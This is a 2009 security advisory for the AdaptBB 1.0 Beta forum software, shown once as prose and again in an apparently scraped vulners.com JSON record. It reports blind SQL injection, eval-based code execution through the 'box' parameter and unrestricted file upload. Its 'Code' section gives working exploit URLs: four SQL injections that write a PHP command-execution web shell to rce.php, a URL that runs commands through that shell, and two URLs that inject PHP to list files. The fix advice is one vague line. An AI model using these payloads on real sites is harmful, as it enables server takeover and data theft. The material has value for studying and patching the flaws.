AdaptBB 1.0 Beta Multiple Remote Vulnerabilities

2009-04-10T00:00:00

Description

******* Salvatore "drosophila" Fresta ******* [+] Application: AdaptBB [+] Version: 1.0 Beta [+] Website: http://sourceforge.net/projects/adaptbb/ [+] Bugs: [A] Multiple Blind SQL Injection [B] Multiple Dynamic Code Execution [C] Arbitrary File Upload [+] Exploitation: Remote [+] Date: 09 Apr 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx@gmail.com ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Multiple Blind SQL Injection [-] Risk: medium [-] Requisites: magic_quotes_gpc = off [-] File affected: almost all of the files are vulnerable This bug allows a guest to execute arbitrary SQL queries. - [B] Multiple Dynamic Code Execution [-] Risk: hight [-] File affected: almost all of the files are vulnerable This bug allows a guest to execute arbitrary php code. ... if ($_GET['box']) { $folder = $_GET['box']; } ... $ddata[] = ucwords($folder); ... eval (" ?> ".str_replace($cdata, $ddata, stripslashes(template($view."_header")))." <?php "); ... - [C] Arbitrary File Upload [-] Risk: hight [-] File affected: attach.php This bug allows a registered user to upload arbitrary files and to execute them from inc/attachments directory. This is possible because there are no controls on file extension on the server side but only on the client side. ************************************************* [+] Code - [A] Multiple Blind SQL Injection http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23 To execute commands: http://site/path/rce.php?cmd=uname -a - [B] Multiple Dynamic Code Execution http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?> ************************************************* [+] Fix To fix them you must check the input properly. However is not recommended to store your real username and password in the cookies. ************************************************* -- Salvatore "drosophila" Fresta CWNP444351

{"id": "SECURITYVULNS:DOC:21607", "bulletinFamily": "software", "title": "AdaptBB 1.0 Beta Multiple Remote Vulnerabilities", "description": "******* Salvatore "drosophila" Fresta *******\r\n\r\n[+] Application: AdaptBB\r\n[+] Version: 1.0 Beta\r\n[+] Website: http://sourceforge.net/projects/adaptbb/\r\n\r\n[+] Bugs: [A] Multiple Blind SQL Injection\r\n [B] Multiple Dynamic Code Execution\r\n [C] Arbitrary File Upload\r\n\r\n[+] Exploitation: Remote\r\n[+] Date: 09 Apr 2009\r\n\r\n[+] Discovered by: Salvatore "drosophila" Fresta\r\n[+] Author: Salvatore "drosophila" Fresta\r\n[+] Contact: e-mail: drosophilaxxx@gmail.com\r\n\r\n\r\n*************************************************\r\n\r\n[+] Menu\r\n\r\n1) Bugs\r\n2) Code\r\n3) Fix\r\n\r\n\r\n*************************************************\r\n\r\n[+] Bugs\r\n\r\n\r\n- [A] Multiple Blind SQL Injection\r\n\r\n[-] Risk: medium\r\n[-] Requisites: magic_quotes_gpc = off\r\n[-] File affected: almost all of the files are\r\nvulnerable\r\n\r\nThis bug allows a guest to execute arbitrary SQL\r\nqueries.\r\n\r\n\r\n- [B] Multiple Dynamic Code Execution\r\n\r\n[-] Risk: hight\r\n[-] File affected: almost all of the files are\r\nvulnerable\r\n\r\nThis bug allows a guest to execute arbitrary php\r\ncode.\r\n\r\n...\r\n\r\nif ($_GET['box']) {\r\n$folder = $_GET['box'];\r\n}\r\n\r\n...\r\n\r\n$ddata[] = ucwords($folder);\r\n\r\n...\r\n\r\neval (" ?> ".str_replace($cdata, $ddata,\r\nstripslashes(template($view."_header")))." <?php ");\r\n\r\n...\r\n\r\n\r\n- [C] Arbitrary File Upload\r\n\r\n[-] Risk: hight\r\n[-] File affected: attach.php\r\n\r\nThis bug allows a registered user to upload\r\narbitrary files and to execute them from\r\ninc/attachments directory. This is possible\r\nbecause there are no controls on file extension\r\non the server side but only on the client side.\r\n\r\n\r\n*************************************************\r\n\r\n[+] Code\r\n\r\n\r\n- [A] Multiple Blind SQL Injection\r\n\r\nhttp://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php\r\nsystem($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nhttp://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL\r\nSELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nhttp://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL\r\nSELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nhttp://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php\r\nsystem($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE\r\n'/var/www/htdocs/path/rce.php'%23\r\n\r\nTo execute commands:\r\n\r\nhttp://site/path/rce.php?cmd=uname -a\r\n\r\n\r\n- [B] Multiple Dynamic Code Execution\r\n\r\nhttp://www.site.com/path/index.php?do=profile&user=blabla&box=<?php\r\necho "<pre>"; system('ls'); echo "</pre>"?>\r\n\r\nhttp://www.site.com/path/index.php?do=messages&user=blabla&box=<?php\r\necho "<pre>"; system('ls'); echo "</pre>"?>\r\n\r\n\r\n*************************************************\r\n\r\n[+] Fix\r\n\r\nTo fix them you must check the input properly.\r\nHowever is not recommended to store your real\r\nusername and password in the cookies.\r\n\r\n\r\n*************************************************\r\n\r\n-- \r\nSalvatore "drosophila" Fresta\r\nCWNP444351", "published": "2009-04-10T00:00:00", "modified": "2009-04-10T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:21607", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:29", "edition": 1, "viewCount": 40, "enchantments": {"score": {"value": 0.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:9808"]}], "rev": 4}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.6}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645615496, "score": 1659803227}, "_internal": {"score_hash": "2cac8a518df77b5a54ce3a2a356db6d6"}}